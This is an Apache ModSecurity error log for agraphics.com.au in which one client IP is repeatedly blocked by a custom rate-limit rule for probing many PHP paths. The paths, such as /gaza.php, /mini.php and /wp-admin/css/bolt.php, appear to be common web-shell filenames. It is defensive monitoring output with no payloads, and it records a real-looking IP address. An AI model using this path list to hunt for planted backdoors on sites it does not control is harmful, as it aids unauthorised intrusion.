[Thu Apr 23 21:21:21.367639 2026] [:error] [pid 46953:tid 46963] [client 158.158.123.88:43238] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeoc0UnlpdHh-P6wKbo4yAAAAkc"]
[Thu Apr 23 21:21:22.145736 2026] [:error] [pid 64998:tid 65023] [client 158.158.123.88:43258] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeoc0oV5EysYcTLjmwh6WQAAAdU"]
[Thu Apr 23 21:21:24.447938 2026] [:error] [pid 64998:tid 65006] [client 158.158.123.88:28708] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeoc1IV5EysYcTLjmwh6XQAAAcQ"]
[Thu Apr 23 21:21:24.749900 2026] [:error] [pid 42973:tid 43045] [client 158.158.123.88:35813] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeoc1G6I0QqmmmLTHE0aowAAAII"]
[Thu Apr 23 21:21:25.850334 2026] [:error] [pid 59700:tid 59705] [client 158.158.123.88:41387] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeoc1ZXyGZJFeAIDWtko1wAAAUM"]
[Thu Apr 23 21:21:27.843413 2026] [:error] [pid 59700:tid 59704] [client 158.158.123.88:35833] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeoc15XyGZJFeAIDWtko3QAAAUI"]
[Thu Apr 23 21:21:28.377225 2026] [:error] [pid 64998:tid 65009] [client 158.158.123.88:35808] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeoc2IV5EysYcTLjmwh6awAAAcc"]
[Thu Apr 23 21:21:30.134066 2026] [:error] [pid 42973:tid 43054] [client 158.158.123.88:26138] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeoc2m6I0QqmmmLTHE0aqgAAAIs"]
[Thu Apr 23 21:21:30.706358 2026] [:error] [pid 42973:tid 43049] [client 158.158.123.88:48286] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeoc2m6I0QqmmmLTHE0arwAAAIY"]
[Thu Apr 23 21:21:31.435759 2026] [:error] [pid 42972:tid 43021] [client 158.158.123.88:41364] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeoc28OAb-3sOknsk4c7aAAAAEU"]
[Thu Apr 23 21:21:31.629821 2026] [:error] [pid 25635:tid 25658] [client 158.158.123.88:26171] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeoc28Rxv6UsgRGKB3I0EAAAARM"]
[Thu Apr 23 21:21:32.292831 2026] [:error] [pid 65000:tid 65044] [client 158.158.123.88:41927] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aeoc3L6vRb9j6psK2ZaF-gAAAgs"]
[Thu Apr 23 21:21:32.557701 2026] [:error] [pid 65000:tid 65054] [client 158.158.123.88:4109] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeoc3L6vRb9j6psK2ZaF_AAAAhU"]
[Thu Apr 23 21:21:32.809737 2026] [:error] [pid 65000:tid 65030] [client 158.158.123.88:53493] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeoc3L6vRb9j6psK2ZaGAAAAAgE"]
[Thu Apr 23 21:21:33.079047 2026] [:error] [pid 59700:tid 59706] [client 158.158.123.88:28699] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeoc3ZXyGZJFeAIDWtko6gAAAUQ"]
[Thu Apr 23 21:21:33.633119 2026] [:error] [pid 42973:tid 43062] [client 158.158.123.88:26142] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeoc3W6I0QqmmmLTHE0asgAAAJM"]
[Thu Apr 23 21:21:33.720812 2026] [:error] [pid 46953:tid 46956] [client 158.158.123.88:35058] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeoc3UnlpdHh-P6wKbo42gAAAkA"]
[Thu Apr 23 21:21:34.210182 2026] [:error] [pid 42972:tid 43031] [client 158.158.123.88:25497] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeoc3sOAb-3sOknsk4c7bQAAAE8"]
[Thu Apr 23 21:21:34.642518 2026] [:error] [pid 25635:tid 25646] [client 158.158.123.88:62825] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aeoc3sRxv6UsgRGKB3I0EwAAAQc"]
[Thu Apr 23 21:21:34.732450 2026] [:error] [pid 25635:tid 25649] [client 158.158.123.88:25481] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aeoc3sRxv6UsgRGKB3I0FAAAAQo"]
[Thu Apr 23 21:21:35.281692 2026] [:error] [pid 46953:tid 46968] [client 158.158.123.88:36430] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoc30nlpdHh-P6wKbo43gAAAkw"]
[Thu Apr 23 21:21:35.490316 2026] [:error] [pid 43083:tid 43108] [client 158.158.123.88:4822] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aeoc3zC5hrvNXosL83J4JgAAANc"]
[Thu Apr 23 21:21:35.963323 2026] [:error] [pid 64967:tid 64988] [client 158.158.123.88:35032] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoc34AV4GfOOdX8Qzp1dAAAAZM"]
[Thu Apr 23 21:21:36.451944 2026] [:error] [pid 59700:tid 59709] [client 158.158.123.88:35057] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aeoc4JXyGZJFeAIDWtko7QAAAUc"]
[Thu Apr 23 21:21:37.408858 2026] [:error] [pid 42973:tid 43057] [client 158.158.123.88:43149] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoc4W6I0QqmmmLTHE0atwAAAI4"]
[Thu Apr 23 21:21:37.600786 2026] [:error] [pid 59700:tid 59710] [client 158.158.123.88:53448] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aeoc4ZXyGZJFeAIDWtko7wAAAUg"]
[Thu Apr 23 21:21:38.160598 2026] [:error] [pid 64998:tid 65019] [client 158.158.123.88:36431] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeoc4oV5EysYcTLjmwh6cQAAAdE"]
[Thu Apr 23 21:21:38.219414 2026] [:error] [pid 59700:tid 59712] [client 158.158.123.88:43184] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aeoc4pXyGZJFeAIDWtko8gAAAUo"]
[Thu Apr 23 21:21:38.931368 2026] [:error] [pid 59700:tid 59715] [client 158.158.123.88:35778] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeoc4pXyGZJFeAIDWtko9QAAAU0"]
[Thu Apr 23 21:21:39.086455 2026] [:error] [pid 64998:tid 65022] [client 158.158.123.88:4358] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aeoc44V5EysYcTLjmwh6egAAAdQ"]
[Thu Apr 23 21:21:40.184984 2026] [:error] [pid 25635:tid 25643] [client 158.158.123.88:43197] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aeoc5MRxv6UsgRGKB3I0JAAAAQQ"]
[Thu Apr 23 21:21:40.329669 2026] [:error] [pid 46953:tid 46960] [client 158.158.123.88:43138] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeoc5EnlpdHh-P6wKbo46gAAAkQ"]
[Thu Apr 23 21:21:42.378450 2026] [:error] [pid 42972:tid 43037] [client 158.158.123.88:26120] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeoc5sOAb-3sOknsk4c7ewAAAFU"]
[Thu Apr 23 21:21:42.740517 2026] [:error] [pid 42972:tid 43019] [client 158.158.123.88:43158] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aeoc5sOAb-3sOknsk4c7fgAAAEM"]
[Thu Apr 23 21:21:43.626049 2026] [:error] [pid 64998:tid 65024] [client 158.158.123.88:43146] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/profile.php"] [unique_id "aeoc54V5EysYcTLjmwh6kAAAAdY"]
[Thu Apr 23 21:21:44.299184 2026] [:error] [pid 64998:tid 65009] [client 158.158.123.88:35756] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aeoc6IV5EysYcTLjmwh6lwAAAcc"]
[Thu Apr 23 21:21:44.719128 2026] [:error] [pid 64998:tid 65026] [client 158.158.123.88:35026] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeoc6IV5EysYcTLjmwh6ngAAAdg"]
[Thu Apr 23 21:21:45.394781 2026] [:error] [pid 64998:tid 65023] [client 158.158.123.88:26136] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeoc6YV5EysYcTLjmwh6ogAAAdU"]
[Thu Apr 23 21:21:45.778687 2026] [:error] [pid 64998:tid 65003] [client 158.158.123.88:53466] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aeoc6YV5EysYcTLjmwh6pQAAAcE"]
[Thu Apr 23 21:21:46.103212 2026] [:error] [pid 42973:tid 43052] [client 158.158.123.88:4438] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeoc6m6I0QqmmmLTHE0auAAAAIk"]
[Thu Apr 23 21:21:46.660217 2026] [:error] [pid 42973:tid 43066] [client 158.158.123.88:46624] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aeoc6m6I0QqmmmLTHE0augAAAJc"]
[Thu Apr 23 21:21:46.922684 2026] [:error] [pid 43083:tid 43101] [client 158.158.123.88:54699] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aeoc6jC5hrvNXosL83J4LwAAANA"]
[Thu Apr 23 21:21:48.007921 2026] [:error] [pid 42972:tid 43036] [client 158.158.123.88:4097] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeoc7MOAb-3sOknsk4c7iwAAAFQ"]
[Thu Apr 23 21:21:48.163310 2026] [:error] [pid 64998:tid 65025] [client 158.158.123.88:37043] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aeoc7IV5EysYcTLjmwh6qQAAAdc"]
[Thu Apr 23 21:21:48.754651 2026] [:error] [pid 65000:tid 65043] [client 158.158.123.88:46635] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeoc7L6vRb9j6psK2ZaGGQAAAgo"]
[Thu Apr 23 21:21:49.506176 2026] [:error] [pid 42972:tid 43027] [client 158.158.123.88:53450] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeoc7cOAb-3sOknsk4c7jwAAAEs"]
[Thu Apr 23 21:21:49.572227 2026] [:error] [pid 65000:tid 65054] [client 158.158.123.88:43159] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeoc7b6vRb9j6psK2ZaGHgAAAhU"]
[Thu Apr 23 21:21:50.107315 2026] [:error] [pid 46953:tid 46974] [client 158.158.123.88:36422] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aeoc7knlpdHh-P6wKbo4-wAAAlI"]
[Thu Apr 23 21:21:50.444547 2026] [:error] [pid 65000:tid 65052] [client 158.158.123.88:54711] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeoc7r6vRb9j6psK2ZaGIAAAAhM"]
[Thu Apr 23 21:21:50.777826 2026] [:error] [pid 42972:tid 43025] [client 158.158.123.88:4422] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeoc7sOAb-3sOknsk4c7lQAAAEk"]
[Thu Apr 23 21:21:51.429110 2026] [:error] [pid 42972:tid 43026] [client 158.158.123.88:35755] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeoc78OAb-3sOknsk4c7mAAAAEo"]
[Thu Apr 23 21:21:51.511110 2026] [:error] [pid 64998:tid 65022] [client 158.158.123.88:4477] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeoc74V5EysYcTLjmwh6rAAAAdQ"]
[Thu Apr 23 21:21:52.126989 2026] [:error] [pid 64998:tid 65026] [client 158.158.123.88:43141] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeoc8IV5EysYcTLjmwh6rwAAAdg"]
[Thu Apr 23 21:21:52.185767 2026] [:error] [pid 64998:tid 65018] [client 158.158.123.88:46646] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeoc8IV5EysYcTLjmwh6sAAAAdA"]
[Thu Apr 23 21:21:52.739284 2026] [:error] [pid 64998:tid 65004] [client 158.158.123.88:4131] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeoc8IV5EysYcTLjmwh6tQAAAcI"]
[Thu Apr 23 21:21:53.265219 2026] [:error] [pid 42972:tid 43029] [client 158.158.123.88:54713] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeoc8cOAb-3sOknsk4c7nAAAAE0"]
